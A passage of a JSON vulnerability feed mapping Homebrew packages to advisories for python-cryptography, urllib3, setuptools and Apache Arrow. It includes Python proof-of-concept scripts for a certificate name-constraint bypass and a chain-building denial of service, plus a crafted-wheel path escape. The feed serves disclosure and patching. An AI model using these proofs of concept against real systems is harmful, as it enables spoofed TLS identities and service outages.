@X1AOxiang.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/pyca/cryptography/security/advisories/GHSA-g6cj-pr64-35w5"},{"type":"WEB","url":"https://github.com/pyca/cryptography/pull/15369"},{"type":"WEB","url":"https://github.com/pyca/cryptography/commit/53fccd93413a8d7f07d6d8999681f27b75cffa3f"},{"type":"PACKAGE","url":"https://github.com/pyca/cryptography"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2026-69248","published":"2026-08-13T16:35:23Z","modified":"2026-10-07T22:51:29Z","upstream":["GHSA-m2h6-j472-rp4c","CVE-2026-69248","PYSEC-2026-3554"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.13.0_2"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"49.0.0","resource":"cryptography","resource_purl":"pkg:pypi/cryptography@46.0.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"cryptography","subject_version":"46.0.3","key":"pkg:pypi/cryptography@46.0.3","resource":"cryptography"}]},"summary":"python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees","details":"### Summary\nIf an intermediate constrained CA permits the DNS name `foo.example.com`, and the leaf certificate has a wildcard in its DNS SAN of `*.example.com`, python-cryptography's verifier accepts which allows escaping outside of the permitted names.\n\n### PoC\n\n```\n#!/usr/bin/env python3\n\"\"\"Standalone PoC: pyca's DNSConstraint::matches admits a too-broad wildcard SAN.\n\nSetup:\n  Sub-CA permitted constraint: dNSName = foo.example.com\n  Leaf SAN:                    dNSName = *.example.com\nExpected: rejection (RFC 5280 §4.2.1.10 + standard wildcard semantics).\nObserved: pyca accepts; further, asks server-verifier whether the leaf is\nauthoritative for `bar.example.com` and pyca answers yes — a sub-CA scope\nescape.\n\"\"\"\nimport datetime\nfrom cryptography import x509\nfrom cryptography.x509.oid import NameOID\nfrom cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.asymmetric import ec\nfrom cryptography.x509.verification import (\n    PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError,\n)\n\nnow = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc)\nday = datetime.timedelta(days=1)\n\ndef build(subject, issuer, key, issuer_key, ca, exts=()):\n    b = (x509.CertificateBuilder()\n         .subject_name(subject).issuer_name(issuer)\n         .public_key(key.public_key())\n         .serial_number(x509.random_serial_number())\n         .not_valid_before(now - 30 * day)\n         .not_valid_after(now + 3650 * day)\n         .add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True))\n    for e, c in exts:\n        b = b.add_extension(e, c)\n    return b.sign(issuer_key, hashes.SHA256())\n\n# Root\nrk = ec.generate_private_key(ec.SECP256R1())\nrn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Test Root\")])\nroot = build(rn, rn, rk, rk, True)\n\n# Sub-CA constrained to foo.example.com\nsk = ec.generate_private_key(ec.SECP256R1())\nsn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Sub-CA\")])\nnc = x509.NameConstraints(\n    permitted_subtrees=[x509.DNSName(\"foo.example.com\")],\n    excluded_subtrees=None,\n)\nsub = build(sn, rn, sk, rk, True, [(nc, True)])\n\n# Leaf with SAN *.example.com (over-broad relative to the constraint)\nlk = ec.generate_private_key(ec.SECP256R1())\nln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Leaf\")])\nsan = x509.SubjectAlternativeName([x509.DNSName(\"*.example.com\")])\nleaf = build(ln, sn, lk, sk, False, [(san, False)])\n\n# Policies\nca_pol = ExtensionPolicy.permit_all().require_present(\n    x509.BasicConstraints, Criticality.AGNOSTIC, None,\n)\nee_pol = ExtensionPolicy.permit_all().require_present(\n    x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,\n)\nv = (\n    PolicyBuilder()\n    .store(Store([root]))\n    .time(now)\n    .extension_policies(ca_policy=ca_pol, ee_policy=ee_pol)\n    .build_server_verifier(x509.DNSName(\"bar.example.com\"))\n)\ntry:\n    v.verify(leaf, [sub])\n    print(\"BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com\")\nexcept VerificationError as e:\n    print(f\"EXPECTED: VerificationError: {e}\")\n```\n\n### Impact\n\nAcceptance of invalid certificate chain.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P"}],"references":[{"type":"WEB","url":"https://github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69248"},{"type":"WEB","url":"https://github.com/pyca/cryptography/pull/14888"},{"type":"WEB","url":"https://github.com/pyca/cryptography/commit/286c89128"},{"type":"WEB","url":"https://github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2"},{"type":"PACKAGE","url":"https://github.com/pyca/cryptography"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3554.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2026-69249","published":"2026-08-13T16:35:23Z","modified":"2026-10-07T22:51:29Z","upstream":["GHSA-jwv3-5hgf-82ww","CVE-2026-69249","PYSEC-2026-3553"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.13.0_2"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"49.0.0","resource":"cryptography","resource_purl":"pkg:pypi/cryptography@46.0.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"cryptography","subject_version":"46.0.3","key":"pkg:pypi/cryptography@46.0.3","resource":"cryptography"}]},"summary":"python-cryptography: Duplicate self-signed intermediates can cause exponential path-building","details":"### Summary\nWhen resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack.\n\nThis work was completed by Trail of Bits as part of the Patch The Planet project in collaboration with OpenAI. The finding was identified primarily by the Codex coding agent, and manually reviewed before submission. \n\n### Details\nThe core issue arises in the recursive nature of `build_chain_inner`, which does not de-duplicate against previously analyzed candidates.\n\n```python\n    fn build_chain_inner(\n        &self,\n        working_cert: &VerificationCertificate<'chain, B>,\n        current_depth: u8,\n        working_cert_extensions: &Extensions<'chain>,\n        name_chain: NameChain<'_, 'chain>,\n        budget: &mut Budget,\n    ) -> ValidationResult<'chain, Chain<'chain, B>, B> {\n        if let Some(nc) = working_cert_extensions.get_extension(&NAME_CONSTRAINTS_OID) {\n            name_chain.evaluate_constraints(&nc.value()?, budget)?;\n        }\n\n        // Look in the store's root set to see if the working cert is listed.\n        // If it is, we've reached the end.\n        if self.store.contains(working_cert) {\n            return Ok(vec![working_cert.clone()]);\n        }\n\n        // Check that our current depth does not exceed our policy-configured\n        // max depth. We do this after the root set check, since the depth\n        // only measures the intermediate chain's length, not the root or leaf.\n        if current_depth > self.policy.max_chain_depth {\n            return Err(ValidationError::new(ValidationErrorKind::Other(\n                \"chain construction exceeds max depth\".into(),\n            )));\n        }\n\n        // Otherwise, we collect a list of potential issuers for this cert,\n        // and continue with the first that verifies.\n        let mut last_err: Option<ValidationError<'_, B>> = None;\n        for issuing_cert_candidate in self.potential_issuers(working_cert) {\n            // A candidate issuer is said to verify if it both\n            // signs for the working certificate and conforms to the\n            // policy.\n            let issuer_extensions = issuing_cert_candidate.certificate().extensions()?;\n            match self.policy.valid_issuer(\n                issuing_cert_candidate,\n                working_cert,\n                current_depth,\n                &issuer_extensions,\n            ) {\n                Ok(_) => {\n                    match self.build_chain_inner(\n```\n\nA sufficient patch is to track valid issuers, and to skip seen ones before recursing. By tracking valid issuers only, validation and custom extension-policy callbacks still run.\n\n```rust\n          let mut seen_valid_issuers = Vec::<&VerificationCertificate<'chain, B>>::new();\n          for issuing_cert_candidate in self.potential_issuers(working_cert) {\n          . . .\n                  Ok(_) => {\n                      if seen_valid_issuers.contains(&issuing_cert_candidate) {\n                         continue;\n                      }\n                      seen_valid_issuers.push(issuing_cert_candidate);\n \n                      match self.build_chain_inner(\n                          issuing_cert_candidate,\n                          // NOTE(ww): According to RFC 5280, we should only\n```\n\nIn testing, this fix removed the exponential blowup without breaking apparent correctness. \n\n```\nduplicates,max_depth,result,seconds\n1,7,rejected,0.000464 -> 1,7,rejected,0.000667\n2,7,rejected,0.025154 -> 2,7,rejected,0.001229\n3,7,rejected,0.489924 -> 3,7,rejected,0.001619 \n4,7,rejected,4.309403 -> 4,7,rejected,0.002144\n3,8,rejected,1.468193 -> 3,8,rejected,0.001811\n4,8,timeout>5s,       -> 4,8,rejected,0.002410\n5,7,timeout>5s,       -> 5,7,rejected,0.002640\n6,6,timeout>5s,       -> 6,6,rejected,0.002829\n```\n\n### PoC\nThe following script benchmarks processing times for malicious cert chains.\n\n```python\nimport datetime\nimport multiprocessing\nimport time\n\nimport cryptography\nfrom cryptography import x509\nfrom cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.asymmetric import ec\nfrom cryptography.x509.oid import ExtendedKeyUsageOID, NameOID\nfrom cryptography.x509.verification import (\n    DNSName,\n    PolicyBuilder,\n    Store,\n    VerificationError,\n)\n\nNOW = datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc)\nTIMEOUT = 5\nCA_KEY_USAGE = x509.KeyUsage(\n    digital_signature=True,\n    content_commitment=False,\n    key_encipherment=False,\n    data_encipherment=False,\n    key_agreement=False,\n    key_cert_sign=True,\n    crl_sign=True,\n    encipher_only=False,\n    decipher_only=False,\n)\nEE_KEY_USAGE = x509.KeyUsage(\n    digital_signature=True,\n    content_commitment=False,\n    key_encipherment=False,\n    data_encipherment=False,\n    key_agreement=False,\n    key_cert_sign=False,\n    crl_sign=False,\n    encipher_only=False,\n    decipher_only=False,\n)\n\ndef name(common_name):\n    return x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, common_name)])\n\ndef base_builder(subject, issuer, public_key, serial):\n    return (\n        x509.CertificateBuilder()\n        .subject_name(subject)\n        .issuer_name(issuer)\n        .public_key(public_key)\n        .serial_number(serial)\n        .not_valid_before(NOW - datetime.timedelta(days=1))\n        .not_valid_after(NOW + datetime.timedelta(days=30))\n    )\n\ndef make_ca(common_name, serial):\n    private_key = ec.generate_private_key(ec.SECP256R1())\n    subject = name(common_name)\n    cert = (\n        base_builder(subject, subject, private_key.public_key(), serial)\n        .add_extension(x509.BasicConstraints(ca=True, path_length=None), True)\n        .add_extension(CA_KEY_USAGE, True)\n        .add_extension(\n            x509.SubjectKeyIdentifier.from_public_key(private_key.public_key()),\n            False,\n        )\n        .sign(private_key, hashes.SHA256())\n    )\n    return private_key, cert\n\ndef make_leaf(issuer_key, issuer_cert):\n    private_key = ec.generate_private_key(ec.SECP256R1())\n    return (\n        base_builder(name(\"leaf\"), issuer_cert.subject, private_key.public_key(), 100)\n        .add_extension(x509.BasicConstraints(ca=False, path_length=None), True)\n        .add_extension(EE_KEY_USAGE, True)\n        .add_extension(x509.SubjectAlternativeName([x509.DNSName(\"example.com\")]), False)\n        .add_extension(\n            x509.AuthorityKeyIdentifier.from_issuer_public_key(issuer_key.public_key()),\n            False,\n        )\n        .add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]), False)\n        .sign(issuer_key, hashes.SHA256())\n    )\n\ndef build_material():\n    looping_key, looping_ca = make_ca(\"looping self-signed CA\", 1)\n    _, unrelated_root = make_ca(\"unrelated trust anchor\", 2)\n    leaf = make_leaf(looping_key, looping_ca)\n    return leaf, looping_ca, unrelated_root\n\ndef verify_case(duplicates, max_depth, queue):\n    leaf, looping_ca, unrelated_root = build_material()\n    verifier = (\n        PolicyBuilder()\n        .store(Store([unrelated_root]))\n        .time(NOW)\n        .max_chain_depth(max_depth)\n        .build_server_verifier(DNSName(\"example.com\"))\n    )\n\n    start = time.perf_counter()\n    try:\n        verifier.verify(leaf, [looping_ca] * duplicates)\n        result = \"accepted\"\n    except VerificationError:\n        result = \"rejected\"\n    queue.put((result, time.perf_counter() - start))\n\ndef run_case(duplicates, max_depth):\n    queue = multiprocessing.Queue()\n    process = multiprocessing.Process(\n        target=verify_case,\n        args=(duplicates, max_depth, queue),\n    )\n    process.start()\n    process.join(TIMEOUT)\n\n    if process.is_alive():\n        process.terminate()\n        process.join()\n        print(f\"{duplicates},{max_depth},timeout>{TIMEOUT}s,\")\n        return\n\n    result, elapsed = queue.get()\n    print(f\"{duplicates},{max_depth},{result},{elapsed:.6f}\")\n\nif __name__ == \"__main__\":\n    print(\"duplicates,max_depth,result,seconds\")\n    for case in [(1, 7), (2, 7), (3, 7), (4, 7), (3, 8), (4, 8), (5, 7), (6, 6)]:\n        run_case(*case)\n```\n\n### Impact\nThis issue exposes an amplification pathway over data that in many applications may be user-controlled, leading to the possibility of a denial of service through resource exhaustion. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69249"},{"type":"WEB","url":"https://github.com/pyca/cryptography/pull/14960"},{"type":"WEB","url":"https://github.com/pyca/cryptography/commit/3763aa79b"},{"type":"WEB","url":"https://github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582"},{"type":"PACKAGE","url":"https://github.com/pyca/cryptography"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3553.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2026-97687","published":"2026-09-30T18:43:47Z","modified":"2026-10-02T08:49:41Z","upstream":["GHSA-8988-9cw3-xx77","CVE-2026-97687","PYSEC-2026-4175"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.6.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"2.8.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.3.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.3.0","key":"pkg:pypi/urllib3@2.3.0","resource":"urllib3"}]},"summary":"urllib3: HTTPS proxy TLS configuration may be ignored or overridden","details":"## Impact\n\nurllib3 supports configuring TLS independently for an HTTPS proxy and the target server.\n\n`proxy_ssl_context`, `proxy_assert_hostname`, and `proxy_assert_fingerprint` configure the TLS connection to the proxy. `ssl_context` and the other target-specific TLS parameters configure the connection to the target server.\n\nIn urllib3 versions 1.26.0 through 2.7.0, these configurations were not consistently separated. Depending on the proxy mode, urllib3 could:\n\n1. Ignore `proxy_ssl_context` and use the target server's SSL context for the TLS connection to an HTTPS forwarding proxy.\n2. Override the HTTPS proxy's certificate-verification policy with the target server's certificate-verification policy.\n3. Apply target-specific SNI, hostname assertions, certificate fingerprint assertions, or TLS client credentials to the TLS connection to an HTTPS forwarding proxy.\n\nIn particular, configuring `cert_reqs=\"CERT_NONE\"` for a target server could overwrite the `verify_mode` of the SSL context configured for the HTTPS proxy. This modification occurred in place and persisted on the context object, potentially disabling proxy certificate verification for later connections that reused the same context.\n\nAn attacker able to intercept the connection to an HTTPS proxy may be able to impersonate the proxy when the effective proxy TLS configuration disables certificate verification or otherwise accepts the attacker's certificate. This may occur, for example, when the target server's trust or identity policy is incorrectly applied to the proxy connection.\n\nWhen HTTPS forwarding is enabled, an impersonated proxy can observe or modify forwarded requests and responses, potentially exposing credentials, authentication tokens, request bodies, response data, and other sensitive information.\n\nA TLS client certificate intended for the target server may also be presented to the proxy or to an attacker impersonating it. This can disclose the client's identity and provide proof of possession of the corresponding private key. The private key itself is not transmitted during the TLS handshake.\n\nIn CONNECT tunneling mode, impersonating the HTTPS proxy does not by itself defeat the separate end-to-end TLS connection between the client and the target server.\n\n## Affected Usages\n\nCode using urllib3 versions 1.26.0 through 2.7.0 may be affected in any of the following cases.\n\n### 1. The target SSL context is used for an HTTPS forwarding proxy\n\nHTTPS requests are forwarded through an HTTPS proxy with `use_forwarding_for_https=True`, and `proxy_ssl_context` is configured for the proxy.\n\nurllib3 may ignore `proxy_ssl_context` and use the target server's `ssl_context` for the proxy TLS handshake. The proxy may therefore be verified using the target server's trust and certificate policy instead of the policy explicitly configured for the proxy.\n\n### 2. The target verification policy overrides the proxy policy\n\nAn HTTPS proxy is configured with `proxy_ssl_context`, while the target server uses a different certificate-verification policy.\n\nurllib3 may apply the target server's `cert_reqs` value to the proxy SSL context. For example, setting `cert_reqs=\"CERT_NONE\"` for the target server may also disable certificate verification for the HTTPS proxy, even when `proxy_ssl_context` was configured to require verification.\n\nThis issue can affect the TLS connection to an HTTPS proxy in both forwarding and CONNECT tunneling configurations.\n\n### 3. A mutated proxy SSL context is reused\n\nThe same SSL context is reused as `proxy_ssl_context` across multiple connections, and certificate verification is disabled for one target server.\n\nurllib3 may modify the proxy SSL context's `verify_mode` in place. Later connections that reuse the same context may therefore connect to the HTTPS proxy without certificate verification.\n\n### 4. Target-specific TLS identity or credentials are applied to the proxy\n\nHTTPS requests are forwarded through an HTTPS proxy with `use_forwarding_for_https=True`, and target-specific SNI, hostname assertions, certificate fingerprint assertions, or TLS client credentials are configured.\n\nurllib3 may apply these target-specific settings to the proxy TLS handshake. This may cause urllib3 to:\n\n- send SNI intended for the target server to the proxy;\n- verify the proxy using a hostname or certificate fingerprint intended for the target server; or\n- present a TLS client certificate intended for the target server to the proxy.\n\nCode connecting through a plain HTTP proxy does not establish a TLS connection to the proxy and is not affected by this issue.\n\n## Remediation\n\nUpgrade to urllib3 2.8.0 or later.\n\nurllib3 2.8.0 independently applies the explicitly configured `proxy_ssl_context` and proxy-specific certificate assertions to the HTTPS proxy connection. Target-specific SNI, certificate assertions, and TLS client certificate parameters are no longer applied to the HTTPS proxy handshake.\n\nFor backward compatibility, when an HTTPS proxy is used with `use_forwarding_for_https=True` and `proxy_ssl_context` is not provided, urllib3 2.8.0 continues to use `ssl_context` for the TLS connection to the proxy. This configuration emits a `FutureWarning`. In urllib3 3.0, passing `ssl_context` with `use_forwarding_for_https=True` for an HTTPS proxy will raise an error. Applications should use `proxy_ssl_context` to configure TLS for an HTTPS forwarding proxy.\n\nThe fixes were implemented in commits b6447295fff7b38fdffc67e0df9712d60cef3cc3 and 07408cec79d1856d81bb42c74a904a24fdb9e465.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-8988-9cw3-xx77"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97687"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/pull/5093"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/07408cec79d1856d81bb42c74a904a24fdb9e465"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/b6447295fff7b38fdffc67e0df9712d60cef3cc3"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/releases/tag/2.8.0"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2026-97689","published":"2026-09-30T18:43:47Z","modified":"2026-10-02T08:49:41Z","upstream":["GHSA-vxq7-64xx-v4gw","CVE-2026-97689","PYSEC-2026-4177"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.6.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"2.8.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.3.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.3.0","key":"pkg:pypi/urllib3@2.3.0","resource":"urllib3"}]},"summary":"urllib3: HTTPResponse.stream()/read_chunked() buffers an unbounded chunk-size line into memory","details":"## Impact\n\nurllib3's [streaming API](https://urllib3.readthedocs.io/en/2.7.0/advanced-usage.html#streaming-and-i-o) is designed for efficiently handling large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once. When decoding a [chunked-transfer-encoded response](https://httpwg.org/specs/rfc9112.html#chunked.encoding), this API reads each chunk's size field by buffering until it sees `\\n` or EOF.\n\nA malicious HTTP server can return `Transfer-Encoding: chunked` and then send a very long run of bytes without any newline, causing the streaming client to buffer that entire run before urllib3 can reject the chunk size as invalid and allocate more memory than intended.\n\nTo fix the issue, we'll reject chunk-size fields larger than 65536 bytes, as already done in the non-streaming case, which is currently handled by the Python standard library. Note that this only applies to reading the chunk-size field, not the chunk data, which is already handled correctly. Thus, there shouldn't be any impact for non-malicious servers.\n\n## Affected usages\n\nApplications and libraries using urllib3 versions earlier than 2.8.0 may be affected when streaming a chunked response from untrusted sources. Specifically, this affects the [read_chunked()](https://urllib3.readthedocs.io/en/stable/reference/urllib3.response.html#urllib3.response.BaseHTTPResponse.read_chunked) and [stream()](https://urllib3.readthedocs.io/en/stable/reference/urllib3.response.html#urllib3.response.BaseHTTPResponse.stream) methods of the HTTPResponse object.\n\nThis also affects requests streaming API, which uses urllib3 under the hood.\n\n## Remediation\n\nUpgrade to urllib3 version 2.8.0 or later, where chunk-size fields larger than 65536 will be rejected. If upgrading is not immediately possible, consider reading the response at once using the [read()](https://urllib3.readthedocs.io/en/stable/reference/urllib3.response.html#urllib3.response.BaseHTTPResponse.read) method.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-vxq7-64xx-v4gw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97689"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/cd770b059b543be29298ea5c52afb0b1b090f5ed"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/releases/tag/2.8.0"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-GHSA-xmj3-9gf7-h52w","published":"2026-10-24T08:45:16Z","modified":"2026-10-24T08:45:16Z","upstream":["GHSA-xmj3-9gf7-h52w"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.6.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"84.1.0","resource":"setuptools","resource_purl":"pkg:pypi/setuptools@80.9.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"setuptools","subject_version":"80.9.0","key":"pkg:pypi/setuptools@80.9.0","resource":"setuptools"}]},"summary":"setuptools: Windows path escape via namespace_packages.txt during legacy wheel installation  Description","details":"### Summary\n\nOn Windows, attacker-controlled content in a wheel's\n`.dist-info/namespace_packages.txt` can cause setuptools' legacy wheel\ninstallation path to create an `__init__.py` outside the requested\n`destination_eggdir`.\n\nThe attacker can influence the destination path, but not the contents of\nthe created file.\n\n### Details\n\nTested setuptools commit:\n\n`6ead555c5fb29bc57fe6105b1bffc163f56fd558`\n\nRelevant source:\n\n`setuptools/wheel.py`\n\nSHA-256:\n\n`359b7e0d5dd8c3135653abe08a8ed5dc0352eadfd7df22cb5e2b5303b7c3cafd`\n\nThe relevant call path is:\n\n`Wheel(wheel_path).install_as_egg(destination)`\n→ `_install_as_egg`\n→ `_convert_metadata`\n→ `_fix_namespace_packages`\n\nA wheel can provide attacker-controlled content in:\n\n`<distribution>.dist-info/namespace_packages.txt`\n\nThe namespace value is eventually used approximately as:\n\n```python\nmod_dir = os.path.join(destination_eggdir, *mod.split('.'))\nmod_init = os.path.join(mod_dir, '__init__.py')\n\nIf mod is a Windows drive-qualified absolute path containing no dots,\nmod.split('.') preserves it as a single component.\nOn Windows, os.path.join(destination_eggdir, absolute_component) discards\nthe original base directory and resolves to the attacker-supplied absolute\npath.\nThe existing wheel filename and ZIP traversal checks do not validate this\nmetadata value before it is subsequently interpreted as a filesystem path.\n\n```markdown\n### PoC\n\nThe reproduction was performed entirely inside a disposable temporary\ndirectory.\n\nLayout:\n\n```text\nsandbox/\n    destination/\n    outside/\n    input/\n    canary.txt\n```\n\nA synthetic wheel was created containing:\n\n`demo_pkg-1.0.dist-info/namespace_packages.txt`\n\nwhose content was the absolute path of:\n\n`sandbox\\outside`\n\nThe real acquired setuptools implementation was then invoked:\n\n```python\nsetuptools.wheel.Wheel(synthetic_wheel).install_as_egg(\n    sandbox_destination\n)\n```\n\nThe operation completed without exception.\n\nExpected metadata was created under:\n\n`sandbox\\destination\\EGG-INFO`\n\nbut setuptools also created:\n\n`sandbox\\outside\\__init__.py`\n\nThe file did not exist before execution.\n\nIts contents were:\n\n```python\n__import__('pkg_resources').declare_namespace(__name__)\n```\n\nThe unrelated canary remained byte-identical.\n\nThe sandbox was deleted after recording the evidence.\n```\n\n\n### Impact\n\nA crafted wheel can cause setuptools to create a fixed-content\n`__init__.py` outside the intended installation directory at a\nfilesystem path influenced by the wheel, with the permissions of the\nprocess performing the installation.\n\nThe demonstrated reproduction required the target parent directory to\nalready exist.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:A/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/pypa/setuptools/security/advisories/GHSA-xmj3-9gf7-h52w"},{"type":"WEB","url":"https://github.com/pypa/setuptools/pull/5329"},{"type":"WEB","url":"https://github.com/pypa/setuptools/commit/6d07b8d17890dda58d944ac51e58f54af92d52af"},{"type":"PACKAGE","url":"https://github.com/pypa/setuptools"},{"type":"WEB","url":"https://github.com/pypa/setuptools/releases/tag/v84.1.0"}]}],"apache-arrow":[{"schema_version":"1.7.3","id":"BREW-apache-arrow-CVE-2019-12408","published":"2026-10-13T04:40:29Z","modified":"2026-11-04T00:39:47Z","upstream":["CVE-2019-12408","GHSA-8cw2-jv5c-c825","PYSEC-2019-195"],"affected":[{"package":{"ecosystem":"Homebrew","name":"apache-arrow","purl":"pkg:brew/apache-arrow"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.14.0"},{"fixed":"0.15.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"0.15.0"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/apache/arrow","subject_version":"26.0.1","key":"https://github.com/apache/arrow"},{"strategy":"registry","ecosystem":"PyPI","name":"pyarrow","subject_version":"26.0.1","key":"pkg:pypi/pyarrow@26.0.1"}]},"details":"It was discovered that the C++ implementation (which underlies the R, Python and Ruby implementations) of Apache Arrow 0.14.0 to 0.14.1 had a uninitialized memory bug when building arrays with null values in some cases. This can lead to uninitialized memory being unintentionally shared if Arrow Arrays are transmitted over the wire (for instance with Flight) or persisted in the streaming IPC and file formats.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://lists.apache.org/thread.html/49f067b1c5fb7493d952580f0d2d032819ba351f7a78743c21126269%40%3Cdev.arrow.apache.org%3E"},{"type":"WEB","url":"https://lists.apache.org/thread.html/efd8bbf57427d3c303b5316d208a335f8d0c0dbe0dc4c87cfa995073%40%3Cannounce.apache.org%3E"}]},{"schema_version":"1.7.3","id":"BREW-apache-arrow-CVE-2019-12410","published":"2026-10-13T04:40:29Z","modified":"2026-11-04T00:39:47Z","upstream":["CVE-2019-12410","GHSA-cjw4-2w9r-r8mv","PYSEC-2019-196"],"affected":[{"package":{"ecosystem":"Homebrew","name":"apache-arrow","purl":"pkg:brew/apache-arrow"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.12.0"},{"fixed":"0.15.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"0.15.0"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/apache/arrow","subject_version":"26.0.1","key":"https://github.com/apache/arrow"},{"strategy":"registry","ecosystem":"PyPI","name":"pyarrow","subject_version":"26.0.1","key":"pkg:pypi/pyarrow@26.0.1"}]},"details":"W